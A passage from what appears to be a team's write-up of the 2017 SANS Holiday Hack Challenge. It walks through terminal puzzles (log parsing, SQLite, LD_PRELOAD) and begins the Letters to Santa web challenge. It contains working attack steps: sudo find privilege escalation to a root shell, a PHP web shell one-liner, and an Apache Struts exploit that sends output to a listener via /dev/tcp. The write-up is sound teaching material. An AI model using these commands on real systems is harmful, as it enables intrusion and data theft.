/usr/bin/qemu-arm
/usr/share/man/man1/qemu-arm.1.gz

In this case, I'm using -xdev to restrict the find to files on the same device (thus excluding /sys, /proc, etc.).

If that still didn't work, here's a one-liner to sort the files on the system according to when their ctime was modified. This would enable you to see a complete timeline of changes to files:

elf@784e43534178:~$ find / -xdev -printf "%C+\t%p\n" | sort | head
2017-12-04+14:36:51.7363603170  /bin/bash
2017-12-04+14:36:51.7363603170  /bin/bunzip2
2017-12-04+14:36:51.7363603170  /bin/bzcat
2017-12-04+14:36:51.7363603170  /bin/bzcmp
2017-12-04+14:36:51.7363603170  /bin/bzdiff
2017-12-04+14:36:51.7363603170  /bin/bzegrep
...

Common Pitfalls

This terminal was tricky because almost no information was given. Knowing how to use file to identify that trainstartup was an ARM binary, and knowing how to find qemu-arm was key.

If you simply google "cannot execute binary file: Exec format error" it will lead you down a rabbit hole. Normally, this error is caused by downloading a binary for the wrong architecture and the fix is to simply re-download the right binary. In this case, we can't download a version of the binary built for the correct architecture. What we need to do is "Run arm binary on amd64". Searching for this points us to using qemu as an emulator.

Bumble's Bounce

Question

                           ._    _.
                           (_)  (_)                  <> \  / <>
                            .\::/.                   \_\/  \/_/ 
           .:.          _.=._\\//_.=._                  \\//
      ..   \o/   ..      '=' //\\ '='             _<>_\_\<>/_/_<>_
      :o|   |   |o:         '/::\'                 <> / /<>\ \ <>
       ~ '. ' .' ~         (_)  (_)      _    _       _ //\\ _
           >O<             '      '     /_/  \_\     / /\  /\ \
       _ .' . '. _                        \\//       <> /  \ <>
      :o|   |   |o:                   /\_\\><//_/\
      ''   /o\   ''     '.|  |.'      \/ //><\\ \/
           ':'        . ~~\  /~~ .       _//\\_
jgs                   _\_._\/_._/_      \_\  /_/ 
                       / ' /\ ' \                   \o/
       o              ' __/  \__ '              _o/.:|:.\o_
  o    :    o         ' .'|  |'.                  .\:|:/.
    '.\'/.'                 .                 -=>>::>o<::<<=-
    :->@<-:                 :                   _ '/:|:\' _
    .'/.\'.           '.___/*\___.'              o\':|:'/o 
  o    :    o           \* \ / */                   /o\
       o                 >--X--<
                        /*_/ \_*\
                      .'   \*/   '.
                            :
                            '
Minty Candycane here, I need your help straight away.
We're having an argument about browser popularity stray.
Use the supplied log file from our server in the North Pole.
Identifying the least-popular browser is your noteworthy goal.

How to find the terminal

From this game: https://2017.holidayhackchallenge.com/game/dbb44df8-af5e-4136-b72e-ebd9dfb32b4a

Direct link: https://docker2017.holidayhackchallenge.com/?challenge=595aeb87-d3b2-41a3-b612-fa553a30e822&uid=USER_ID

terminal-location-bounce.png

Figure 9: The terminal is located at the top of the right hand hill in the red circle. GreatBookPage5.pdf is on the same hill identified by the blue circle.

Background Information

Goal

The goal is to analyze a 'log file' and determine what the least popular browser.

Hints

Minty Candycane on Twitter has some hints

Approach

A directory listing shows that terminal contains a binary called 'runtoanswer', as well as fairly large 'access.log' file:

elf@784e43534178:~$ ls -lh
total 29M
-rw-r--r-- 1 root root  24M Dec  4 17:11 access.log
-rwxr-xr-x 1 root root 5.0M Dec 11 17:31 runtoanswer
elf@784e43534178:~$ wc -l access.log 
98655 access.log

elf@784e43534178:~$ head -n1 access.log 
XX.YY.66.201 - - [19/Nov/2017:06:50:30 -0500] "GET /robots.txt HTTP/1.1" 301 185 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)"

This log format should should seem familiar to sysadmins. The "Common Log Format" actually used to be called the "NCSA Common Log Format" when it was used by NCSA HTTPd in 1993 (before that became Apache). Please don't blame us for how bad this format is! The fact that a challenge is simply to parse this format should be indication enough that somewhere along the way, mistakes were made. Fields are separated by spaces. …except for the timestamp, which is wrapped in brackets. …and the request, which is the "method uri protocol." …and of course the user-agent. Some fields are hex-encoded, too!

All we want is the user-agent strings, so we can split the log lines on the double quote char.

Solution

Our solution is to use the cut tool, along with sort and uniq to find the least popular browser. cut is very limited compared to tools like awk or sed, but it is often simpler to use. We just need to grab the right field. We can experiment on just the first line using head and figure this out using trial and error:

elf@784e43534178:~$ head -n 1 access.log |cut -d '"' -f 4
-
elf@784e43534178:~$ head -n 1 access.log |cut -d '"' -f 5

elf@784e43534178:~$ head -n 1 access.log |cut -d '"' -f 6
Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)

The 6th field is the user agent. We also only want everything to the left of the first slash, so different versions of the same browser are merged:

elf@784e43534178:~$ head -n 1 access.log |cut -d '"' -f 6|cut -d / -f 1
Mozilla

Now that the browser is isolated, we can switch head -n 1 with cat, and use the standard sort | uniq -c | sort -n to grab a frequency:

elf@784e43534178:~$ cat access.log |cut -d '"' -f 6|cut -d / -f 1|sort|uniq -c|sort -n|tail -n 5
     33 slack
     34 Googlebot-Image
    143 -
    422 Slack-ImgProxy (+https:
  97896 Mozilla

Oops. Mixed up the ordering, need the first 5, not the last 5:

elf@784e43534178:~$ cat access.log |cut -d '"' -f 6|cut -d / -f 1|sort|uniq -c|sort -n|head -n 5
      1 Dillo
      2 (KHTML, like Gecko) Chrome
      2 Slackbot-LinkExpanding 1.0 (+https:
      2 Telesphoreo
      2 Twitter

Looks like Justin's favorite lightweight browser from 2001 is not very popular these days.

We can also confirm that the log file only has a single entry for this user-agent:

elf@784e43534178:~$ grep Dillo access.log 
XX.YY.54.139 - - [27/Nov/2017:19:41:49 -0500] "GET /invoker/JMXInvokerServlet HTTP/1.1" 301 185 "-" "Dillo/3.0.5"

Common Pitfalls

The most common issue appeared to be the result of not normalizing the different browser versions. If you count each VERSION of a browser as a separate program, you will get a result like:

elf@784e43534178:~$ cat access.log |cut -d '"' -f 6|sort|uniq  -c|sort -n|head -n 5
      1 Dillo/3.0.5
      1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36
      1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/604.3.5 (KHTML, like Gecko)
      1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1
      1 Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko

or like:

elf@784e43534178:~$ cat access.log |cut -d '"' -f 6|cut -d ' ' -f 1|sort|uniq  -c|sort -n
      1 Dillo/3.0.5
      1 curl/7.35.0

I Don't Think We're In Kansas Anymore

Question

                       *
                      .~'
                     O'~..
                    ~'O'~..
                   ~'O'~..~'
                  O'~..~'O'~.
                 .~'O'~..~'O'~
                ..~'O'~..~'O'~.
               .~'O'~..~'O'~..~'
              O'~..~'O'~..~'O'~..
             ~'O'~..~'O'~..~'O'~..
            ~'O'~..~'O'~..~'O'~..~'
           O'~..~'O'~..~'O'~..~'O'~.
          .~'O'~..~'O'~..~'O'~..~'O'~
         ..~'O'~..~'O'~..~'O'~..~'O'~.
        .~'O'~..~'O'~..~'O'~..~'O'~..~'
       O'~..~'O'~..~'O'~..~'O'~..~'O'~..
      ~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..
     ~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'
    O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~.
   .~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~
  ..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~.
 .~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'
O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..

Sugarplum Mary is in a tizzy, we hope you can assist.
Christmas songs abound, with many likes in our midst.
The database is populated, ready for you to address.
Identify the song whose popularity is the best.

How to find the terminal

From this game: https://2017.holidayhackchallenge.com/game/5bbfc970-71d2-4c9d-816c-25955536c168

Direct link: https://docker2017.holidayhackchallenge.com/?challenge=ab13b9fc-6e7c-4477-a8a1-bca7b616b877&uid=USER_ID

This one's tricky. You can strip out the poppies in your browser, and then the terminal can easily be seen on the left side.

terminal-location-kansas.png

Figure 10: If you take away the poppies the terminal can easily be seen on the left hand side of the field.

Background Information

When we login, we see we have two files of interest in our current directory: christmassongs.db and runtoanswer.

If we try running runtoanswer, we see:

elf@784e43534178:~$ ./runtoanswer 
Starting up, please wait......
Enter the name of the song with the most likes:

The SANS Pen-Test Blog had a post about essential SQL commands, which might be useful:

Your Pokemon Guide for Essential SQL Pen Test Commands https://pen-testing.sans.org/blog/2017/12/09/your-pokemon-guide-for-essential-sql-pen-test-commands

Goal

Determine which song in christmassongs.db has the most likes.

Hints

Sugarplum Mary on Twitter has a hint:

Approach

Let's see exactly what this "db" file is:

elf@784e43534178:~$ less christmassongs.db 
bash: less: command not found
elf@784e43534178:~$ more christmassongs.db 
SQLite format 3
...

sqlite! Ok! Let's start up sqlite and change some output options

elf@784e43534178:~$ sqlite3 christmassongs.db 
SQLite version 3.11.0 2016-02-15 17:29:24
Enter ".help" for usage hints.
sqlite> .mode tabs  
sqlite> .headers on

Now, let's see what we are working with here.

sqlite> .schema
CREATE TABLE songs(
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  title TEXT,
  artist TEXT,
  year TEXT,
  notes TEXT
);
CREATE TABLE likes(
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  like INTEGER,
  datetime INTEGER,
  songid INTEGER,
  FOREIGN KEY(songid) REFERENCES songs(id)
);

As a sanity check, let's see what one record of each looks like.

sqlite> select * from songs limit 1;
id title artist year notes
1 A' Soalin' Peter, Paul & Mary 1963 From the album Moving. Written by Paul Stookey, Tracy Batteste & Elaina Mezzetti.
sqlite> select * from likes limit 1;
id like datetime songid
1 1 1487102189 250

Two tables, "songs", and "likes". likes.songid matches up with songs.id. This means we can join the two tables together on songs.id=likes.songid. Once that is done, the solution requires the count of likes grouped by title:

sqlite> select title, count(*) from songs, likes where songs.id=likes.songid group by title order by count(*) desc limit 3;
title count(*)
Stairway to Heaven 11325
Joy to the World 2162
The Little Boy that Santa Claus Forgot 2140

Solution

A one-liner is:

elf@784e43534178:~$ sqlite3 christmassongs.db "select title from songs, likes where songs.id=likes.songid group by title order by count(*) desc limit 1;"
Stairway to Heaven

Alternatives

Instead of joining the tables, we can first find what the most popular songid is:

sqlite> select songid, count(*) from likes group by songid order by count(*) desc limit 3;
songid count(*)
392 11325
245 2162
265 2140

and then look up what the title for that song is

sqlite> select title from songs where id=392;
title
Stairway to Heaven

This can also be done in a single query as long as we don't care about the like count:

sqlite> select title from songs where id = (select songid from likes group by songid order by count(*) desc limit 1);
Stairway to Heaven

This method even outperforms the join, taking about half the time to run! This is because the join has to examine all of the song titles, but the subquery method only has to look at one.

Oh Wait Maybe We Are

Question

            -->*<--
              /o\
             /_\_\
            /_/_0_\
           /_o_\_\_\
          /_/_/_/_/o\
         /@\_\_\@\_\_\
        /_/_/O/_/_/_/_\
       /_\_\_\_\_\o\_\_\
      /_/0/_/_/_0_/_/@/_\
     /_\_\_\_\_\_\_\_\_\_\
    /_/o/_/_/@/_/_/o/_/0/_\
   jgs       [___]  


My name is Shinny Upatree, and I've made a big mistake.
I fear it's worse than the time I served everyone bad hake.
I've deleted an important file, which suppressed my server access.
I can offer you a gift, if you can fix my ill-fated redress.

Restore /etc/shadow with the contents of /etc/shadow.bak, then run "inspect_da_box" to complete this challenge.
Hint: What commands can you run with sudo?

How to find the terminal

Background Information

We're logged in as the user elf. We happen to know that /etc/shadow is where *NIX systems store the password hashes for their users.

The system MOTD gives us a hint:

What commands can you run with sudo?

We also know that sudo is a program that allows us to run commands with the privileges of other users and/or groups.

Goal

We need to overwrite /etc/shadow with /etc/shadow.bak. Basically we need to cp /etc/shadow.bak /etc/shadow, except that we don't have permissions to do that directly:

elf@784e43534178:~$ cp /etc/shadow.bak /etc/shadow
cp: cannot create regular file '/etc/shadow': Permission denied

Hints

Shinny Upatree on Twitter has a few hints:

Approach

If we follow the hint, we should try to figure out what commands we can run with sudo. Let's run sudo -h to view the help documentation:

sudo - execute a command as another user
...
  -l, --list                  list user's privileges or check a specific command; use twice for longer format
...

To follow the hint, we should run sudo with the --list option, to see what our privileges are:

elf@784e43534178:~$ sudo --list
Matching Defaults entries for elf on 784e43534178:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User elf may run the following commands on 784e43534178:
    (elf : shadow) NOPASSWD: /usr/bin/find

We can run the find command, but it also mentions something about shadow. Let's give it a shot:

elf@784e43534178:~$ sudo find
[sudo] password for elf: 

We don't know the password. The sudo output said we should be able to run this without a password ("NOPASSWD"). Something's not quite right. We can run sudo with -l -l as the help output said to get some more verbose output:

elf@784e43534178:~$ sudo -l -l
Matching Defaults entries for elf on 784e43534178:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User elf may run the following commands on 784e43534178:
Sudoers entry:
    RunAsUsers: elf
    RunAsGroups: shadow
    Options: !authenticate
    Commands:
	/usr/bin/find

Ok. So sudo lets us run the find command as the user elf, and the group shadow. Viewing sudo -h one more time shows us that there's an option we want to set our group to shadow:

-g, --group=group           run command as the specified group name or ID
elf@784e43534178:~$ sudo -g shadow find 
.
./.bashrc
./.bash_logout
./.profile

This time, sudo let us run find without prompting us for a password. So, we know that we can run commands as the elf user, and the shadow group. Is this enough to overwrite /etc/shadow?

elf@784e43534178:~$ ls -l /etc/shadow
-rw-rw---- 1 root shadow 0 Dec 15 20:00 /etc/shadow

Yes. /etc/shadow is owned by the root user and the shadow group, and the group has write permissions to it. At this point, the only thing that's left is figuring out how to use find in order to copy /etc/shadow.bak to /etc/shadow. find has an exec option:

actions: -delete -print0 -printf FORMAT -fprintf FILE FORMAT -print 
      -fprint0 FILE -fprint FILE -ls -fls FILE -prune -quit
      -exec COMMAND ; -exec COMMAND {} + -ok COMMAND ;
      -execdir COMMAND ; -execdir COMMAND {} + -okdir COMMAND ;

Let's give it a shot:

elf@784e43534178:~$ sudo -g shadow find -exec cp /etc/shadow.bak /etc/shadow \;

Looks like that worked:

elf@784e43534178:~$ inspect_da_box 
		     ___
		    / __'.     .-"""-.
	      .-""-| |  '.'.  / .---. \
	     / .--. \ \___\ \/ /____| |
	    / /    \ `-.-;-(`_)_____.-'._
	   ; ;      `.-" "-:_,(o:==..`-. '.         .-"-,
	   | |      /       \ /      `\ `. \       / .-. \
	   \ \     |         Y    __...\  \ \     / /   \/
     /\     | |    | .--""--.| .-'      \  '.`---' /
     \ \   / /     |`        \'   _...--.;   '---'`
      \ '-' / jgs  /_..---.._ \ .'\\_     `.
       `--'`      .'    (_)  `'/   (_)     /
		  `._       _.'|         .'
		     ```````    '-...--'`
/etc/shadow has been successfully restored!

Solution

A one-liner is:

sudo -g shadow find -exec cp /etc/shadow.bak /etc/shadow \; && inspect_da_box

Alternatives

Instead of using find to directly copy the file, we can just use it to start an elevated shell:

elf@784e43534178:~$ id
uid=1000(elf) gid=1000(elf) groups=1000(elf)
elf@784e43534178:~$ sudo -g shadow find -exec bash \;
...
elf@784e43534178:~$ id
uid=1000(elf) gid=42(shadow) groups=42(shadow),1000(elf)

This shows how we can use sudo and find as a general privilege escalation mechanism.


Another way of doing this is by putting in a modified shadow file instead, which will have a password that we know for the root user.

First, let's generate the password hash in the right format:

elf@784e43534178:~$ echo "password" | openssl passwd -1 -stdin
$1$wDLzsvsW$0.aZ24yCO8xhhjnfHUIG3/

Now that we have a hash, we'll use sed to modify the /etc/shadow.bak file to have that as the password for root. Remember to be careful in escaping special characters in the sed command line.

elf@784e43534178:~$ sed -e 's/root:\*/root:$1$wDLzsvsW$0.aZ24yCO8xhhjnfHUIG3/' /etc/shadow.bak | tee better.shadow
root:$1$WPvxfOOK$JqDBD/DPQlpkUBOC3qTp51:17484:0:99999:7:::
daemon:*:17484:0:99999:7:::
bin:*:17484:0:99999:7:::
sys:*:17484:0:99999:7:::
sync:*:17484:0:99999:7:::
games:*:17484:0:99999:7:::
...

Now, we re-run our find command, and find that we can escalate to root with a password of password:

elf@784e43534178:~$ sudo -g shadow find -exec cp better.shadow /etc/shadow \;
elf@784e43534178:~$ su
Password: 
root@784e43534178:/home/elf# id  
uid=0(root) gid=0(root) groups=0(root)

Common Pitfalls

find's exec syntax is a little weird, and a common mistake is forgetting to escape the semicolon at the end:

elf@784e43534178:~$ sudo -g shadow find -exec cp /etc/shadow.bak /etc/shadow ;
find: missing argument to `-exec'

Another issue is just the fact that sudo is often set up for user permissions, and not group permissions, so the -g flag is less well known.

We're Off To See The

Question


                 .--._.--.--.__.--.--.__.--.--.__.--.--._.--.
               _(_      _Y_      _Y_      _Y_      _Y_      _)_
              [___]    [___]    [___]    [___]    [___]    [___]
              /:' \    /:' \    /:' \    /:' \    /:' \    /:' \
             |::   |  |::   |  |::   |  |::   |  |::   |  |::   |
             \::.  /  \::.  /  \::.  /  \::.  /  \::.  /  \::.  /
         jgs  \::./    \::./    \::./    \::./    \::./    \::./
               '='      '='      '='      '='      '='      '='


Wunorse Openslae has a special challenge for you.
Run the given binary, make it return 42.
Use the partial source for hints, it is just a clue.
You will need to write your own code, but only a line or two.

Background Information

We are logged in as the user elf.

The MOTD tells us:

Run the given binary, make it return 42. Use the partial source for hints, it is just a clue. You will need to write your own code, but only a line or two.

Two files are provided

-rwxr-xr-x 1 root root 84824 Dec 16 16:47 isit42
-rw-r--r-- 1 root root   654 Dec 15 19:59 isit42.c.un

Goal

For this challenge we need to write our own code in order to make the provided binary isit42 return 42.

Approach

Our team actually did this exact thing last year in order to derandomize wumpus.

In this case looking at the source code we can identify the exact code that is being used to randomize the program:

int getrand() {
    srand((unsigned int)time(NULL)); 
    printf("Calling rand() to select a random number.\n");
    // The prototype for rand is: int rand(void);
    return rand() % 4096; // returns a pseudo-random integer between 0 and 4096
}

If we create our own library file to define rand() we can remove the randomness.

Solution

As mentioned in the hints section above, we can use Jeff McJunkin's blog post for guidance on how to complete this challenge.

First we'll need to create our own library. We can call it rand.c.

int rand(unsigned int *seed) {
    return 42;
}

Then we compile it using the suggested flags in the article.

elf@784e43534178:~$ gcc -o rand -ldl -shared -fPIC rand.c

Once compiled we can then use LD_PRELOAD to load our library.

elf@784e43534178:~$ LD_PRELOAD=`pwd`/rand ./isit42
Starting up ... done.
Calling rand() to select a random number.
		 .-. 
		.;;\ ||           _______  __   __  _______    _______  __    _  _______  _     _  _______  ______ 
	       /::::\|/          |       ||  | |  ||       |  |   _   ||  |  | ||       || | _ | ||       ||    _ |
	      /::::'();          |_     _||  |_|  ||    ___|  |  |_|  ||   |_| ||  _____|| || || ||    ___||   | ||
	    |\/`\:_/`\/|           |   |  |       ||   |___   |       ||       || |_____ |       ||   |___ |   |_||_ 
	,__ |0_..().._0| __,       |   |  |       ||    ___|  |       ||  _    ||_____  ||       ||    ___||    __  |
	 \,`////""""\\\\`,/        |   |  |   _   ||   |___   |   _   || | |   | _____| ||   _   ||   |___ |   |  | |
	 | )//_ o  o _\\( |        |___|  |__| |__||_______|  |__| |__||_|  |__||_______||__| |__||_______||___|  |_|
	  \/|(_) () (_)|\/ 
	    \   '()'   /            ______    _______  _______  ___      ___      __   __    ___   _______ 
	    _:.______.;_           |    _ |  |       ||   _   ||   |    |   |    |  | |  |  |   | |       |
	  /| | /`\/`\ | |\         |   | ||  |    ___||  |_|  ||   |    |   |    |  |_|  |  |   | |  _____|
	 / | | \_/\_/ | | \        |   |_||_ |   |___ |       ||   |    |   |    |       |  |   | | |_____ 
	/  |o`""""""""`o|  \       |    __  ||    ___||       ||   |___ |   |___ |_     _|  |   | |_____  |
       `.__/     ()     \__.'      |   |  | ||   |___ |   _   ||       ||       |  |   |    |   |  _____| |
       |  | ___      ___ |  |      |___|  |_||_______||__| |__||_______||_______|  |___|    |___| |_______|
       /  \|---|    |---|/  \ 
       |  (|42 | () | DA|)  |       _   ___  _______ 
       \  /;---'    '---;\  /      | | |   ||       |
	`` \ ___ /\ ___ / ``       | |_|   ||____   |
	    `|  |  |  |`           |       | ____|  |
      jgs    |  |  |  |            |___    || ______| ___ 
       _._  |\|\/||\/|/|  _._          |   || |_____ |   |
      / .-\ |~~~~||~~~~| /-. \         |___||_______||___|
      | \__.'    ||    '.__/ |
       `---------''---------` 
Congratulations! You've won, and have successfully completed this challenge.

Alternatives

Another option is to just brute force it. The sample code shows that the program is using

return rand() % 4096; // returns a pseudo-random integer between 0 and 4096

This means we should only need to run the program a few thousand times for the result to be 42. However, if we try to run the program too quickly, we notice we get the same output each time:

elf@784e43534178:~$ ./isit42 & ./isit42 &
[1] 31
[2] 32
elf@784e43534178:~$ Starting up ... Starting up ... done.
Calling rand() to select a random number.
done.
Calling rand() to select a random number.
945 is not 42.
945 is not 42.
[1]-  Exit 177                ./isit42
[2]+  Exit 177                ./isit42

This is because the program uses the current timestamp in seconds as a random seed. Running the program more than once a second will not help us.

If we run this:

elf@784e43534178:~$ while true;do ./isit42 ; done

We will get a different answer every time, but since the program contains a sleep(3) that will only run one attempt every 3 seconds instead of one attempt per second. To fix this, we can run each attempt in the background using &, sleeping 1 second between attempts:

elf@784e43534178:~$ while true;do ./isit42 &sleep 1;done

After a short wait, it succeeds:

Calling rand() to select a random number.
[860]   Exit 37                 ./isit42
[865] 1869
Starting up ... 3566 is not 42.
done.
Calling rand() to select a random number.
[861]   Exit 199                ./isit42
[866] 1871
Starting up ...                  .-.
		.;;\ ||           _______  __   __  _______    _______  __    _  _______  _     _  _______  ______
	       /::::\|/          |       ||  | |  ||       |  |   _   ||  |  | ||       || | _ | ||       ||    _ |
	      /::::'();          |_     _||  |_|  ||    ___|  |  |_|  ||   |_| ||  _____|| || || ||    ___||   | ||
	    |\/`\:_/`\/|           |   |  |       ||   |___   |       ||       || |_____ |       ||   |___ |   |_||_
	,__ |0_..().._0| __,       |   |  |       ||    ___|  |       ||  _    ||_____  ||       ||    ___||    __  |
	 \,`////""""\\\\`,/        |   |  |   _   ||   |___   |   _   || | |   | _____| ||   _   ||   |___ |   |  | |
	 | )//_ o  o _\\( |        |___|  |__| |__||_______|  |__| |__||_|  |__||_______||__| |__||_______||___|  |_|

Answers

Game: This Page Fell off a Truck

Question

Visit the North Pole and Beyond at the Winter Wonder Landing Level to collect the first page of The Great Book using a giant snowball. What is the title of that page?

Solution

This question simply requires playing the Winter Wonder Landing game level, and redirecting the snowball to collect the first Great Book page, GreatBookPage1.pdf.

great_page_1_location.png

Figure 13: Location of Great Book Page 1. You will need to roll over it with a snowball.

This challenge was primarily to get players introduced to the game aspect of the Holiday Hack, and to give us a sample of the book pages that we'll be looking for.

L2S: Letters to Santa

Question

Investigate the Letters to Santa application at https://l2s.northpolechristmastown.com/. What is the topic of The Great Book page available in the web root of the server? What is Alabaster Snowball's password?

For hints associated with this challenge, Sparkle Redberry in the Winconceivable: The Cliffs of Winsanity Level can provide some tips.

Background Information

We know that there is an application on https://l2s.northpolechristmastown.com/ that we need to investigate. This webpage is publically accessible from the Internet and not appear to require any special measures to access it. We do not know Alabaster' password or username at the start of this challenge nor what type of web service is running on the host.

The following hints were provided by Sparkle Redberry from completing the level Winconceivable: The Cliffs of Winsanity:

We're excited to debut the new Letters to Santa site this year. Alabaster worked hard on that project for over a year. I got to work with the development version of the site early on in the project lifecycle.

Near the end of the development we had to rush a few things to get the new site moved to production. Some development content on the letter page should probably have been removed, but ended up marked as hidden to avoid added change control paperwork.

Alabaster's primary backend experience is with Apache Struts. I love Apache and have a local instance set up on my home computer with a web shell. Web shells are great as a backdoor for me to access my system remotely. I just choose a really long complex file name so that no one else knows how to access it.

A simple web shell is to create a PHP file in the web root with <?php echo "<pre>" . shell_exec($_GET['e']) . "</pre>"; ?>. Then, I visit the URL with my commands. For example, http://server/complexFileName.php?e=ls.

There are lots of different web shell tools available. You can get a simple PHP web shell that is easy to use here.

That business with Equal-Facts Inc was really unfortunate. I understand there are a lot of different exploits available for those vulnerable systems. Fortunately, Alabaster said he tested for CVE-2017-5638 and it was NOT vulnerable. Hope he checked the others too.

Apache Struts uses XML. I always had problems making proper XML formatting because of special characters. I either had to encode my data or escape the characters properly so the XML wouldn't break. I actually just checked and there are lots of different exploits out there for vulnerable systems. Here is a useful article.

Pro developer tip: Sometimes developers hard code credentials into their development files. Never do this, or at least make sure you take them out before publishing them or putting them into production. You also should avoid reusing credentials for different services, even on the same system.

The following SANS Pentest Blog posts were also very helpful for this challenge:

Goal

There are two goals for this challenge. The first is to determine the topic of the Great Book Page that is sitting on the web root of this server. The second is to determine what Alabaster's password is.

Approach

According to the second hint there might be development code left in the production code. If we look at the source of l2s the following code pops out.

<!-- Development version -->
<a href="http://dev.northpolechristmastown.com" style="display: none;">Access Development Version</a>

Let's do some recon on the hosts:

$ nmap -sC l2s.northpolechristmastown.com

Starting Nmap 7.40 ( https://nmap.org ) at 2018-01-03 15:36 CST
Nmap scan report for l2s.northpolechristmastown.com (35.185.84.51)
Host is up (0.027s latency).
rDNS record for 35.185.84.51: 51.84.185.35.bc.googleusercontent.com
Not shown: 996 filtered ports
PORT     STATE  SERVICE
22/tcp   open   ssh
| ssh-hostkey:
|   2048 81:aa:b0:de:e0:4a:b5:23:7e:e8:cd:14:f3:fa:e2:f3 (RSA)
|_  256 dc:0b:52:ab:43:87:59:7b:04:88:2d:5c:db:92:4f:ba (ECDSA)
80/tcp   open   http
|_http-title: Did not follow redirect to https://l2s.northpolechristmastown.com/
443/tcp  open   https
|_http-title: Toys List
| ssl-cert: Subject: commonName=dev.northpolechristmastown.com
| Subject Alternative Name: DNS:dev.northpolechristmastown.com, DNS:l2s.northpolechristmastown.com
| Not valid before: 2017-11-29T12:54:54
|_Not valid after:  2018-02-27T12:54:54
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
|_  http/1.1
3389/tcp closed ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 7.04 seconds

In addition to the hidden link for dev.northpolechristmastown.com, it is also present as an alternate name on the certificate of the host. Let's let nmap's scripts scan that as well.

$ nmap -sC dev.northpolechristmastown.com

Starting Nmap 7.40 ( https://nmap.org ) at 2018-01-03 15:36 CST
Nmap scan report for dev.northpolechristmastown.com (35.185.84.51)
Host is up (0.028s latency).
rDNS record for 35.185.84.51: 51.84.185.35.bc.googleusercontent.com
Not shown: 996 filtered ports
PORT     STATE  SERVICE
22/tcp   open   ssh
| ssh-hostkey:
|   2048 81:aa:b0:de:e0:4a:b5:23:7e:e8:cd:14:f3:fa:e2:f3 (RSA)
|_  256 dc:0b:52:ab:43:87:59:7b:04:88:2d:5c:db:92:4f:ba (ECDSA)
80/tcp   open   http
|_http-title: Did not follow redirect to https://dev.northpolechristmastown.com/
443/tcp  open   https
| http-title: Toys List
|_Requested resource was /orders.xhtml
| ssl-cert: Subject: commonName=dev.northpolechristmastown.com
| Subject Alternative Name: DNS:dev.northpolechristmastown.com, DNS:l2s.northpolechristmastown.com
| Not valid before: 2017-11-29T12:54:54
|_Not valid after:  2018-02-27T12:54:54
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
|_  http/1.1
3389/tcp closed ms-wbt-server

We can see that dev and l2s are one and the same, which is important, since dev was not explicitly called out as being in scope. Visiting the dev page has a footer that simply states Powered By: Apache Struts. Let's use this to our advantage. Let's use the tool provided through the SANS Pentest blog, cve-2017-9805.py. The dev page we land on is https://dev.northpolechristmastown.com/orders.xhtml so we'll use that to start from.

Let's check out the help:

$ ./cve-2017-9805.py
usage: cve-2017-9805.py [-h] [-u URL] -c COMMAND

optional arguments:
  -h, --help  show this help message and exit
  -u URL      url of target vulnerable apache struts server. Ex-
	      http://somevulnstrutsserver.com/orders.xhtml
  -c COMMAND  command to execute against the target. Ex - /usr/bin/whoami

The example URL is http://somevulnstrutsserver.com/orders.xhtml. How fortituous!

$ python cve-2017-9805.py -u https://dev.northpolechristmastown.com/orders.xhtml -c 'ls'
[+] Encoding Command
[+] Building XML object
[+] Placing command in XML object
[+] Converting Back to String
[+] Making Post Request with our payload
[+] Payload executed

Looks like we need to modify the program to let us see what it's doing by uncommenting the following line:

print request.text

Rerunning our command now results in a lengthy Apache Tomcat error with no apparent output from our ls command. We're dealing with a blind injection so we'll need to figure out a different way to get the output of the command. One trick we can pull is redirecting output to a special pseudo device, /dev/tcp/$host/$port. We'll need to set up a listener on our end first:

holiday@hack:~$ nc -l -p 8888

Now we run the exploit again:

./cve-2017-9805.py -u https://dev.northpolechristmastown.com/orders.xhtml -c "ls > /dev/tcp/1.2.3.4/8888"

The result on our end is:

holiday@hack:~$ nc -l -p 8888
bin
boot
dev
etc
home
...
vmlinuz
vmlinuz.old

It looks like we've been dropped into the root directory. Let's look for where the web root is. Normally, the default is /var/www/html on most linux+apache based hosts. We'll try again with the command ls -al /var/www/html.

total 1772
drwxrwxrwt 6 www-data           www-data              4096 Jan  6 03:00 .
drwxr-xr-x 3 root               root                  4096 Oct 12 14:35 ..
drwxr-xr-x 2 root               www-data              4096 Oct 12 19:03 css
drwxr-xr-x 3 root               www-data              4096 Oct 12 19:40 fonts
-r--r--r-- 1 root               www-data           1764298 Dec  4 20:25 GreatBookPage2.pdf
drwxr-xr-x 2 root               www-data              4096 Oct 12 19:14 imgs
-rw-r--r-- 1 root               www-data             14501 Nov 24 20:53 index.html
drwxr-xr-x 2 root               www-data              4096 Oct 12 19:11 js
-rwx------ 1 www-data           www-data               231 Oct 12 21:25 process.php

Oh look. There's GreatBookPage2.pdf. We can download it and find the answer to the first question.

Let's assume for a minute that we didn't know where the web root was. Since page 1 of our Great Book was a PDF, it's a pretty safe bet that page 2 is also a PDF. It takes about half of a second to search the system for all PDFs using find:

$ find / -name *.pdf
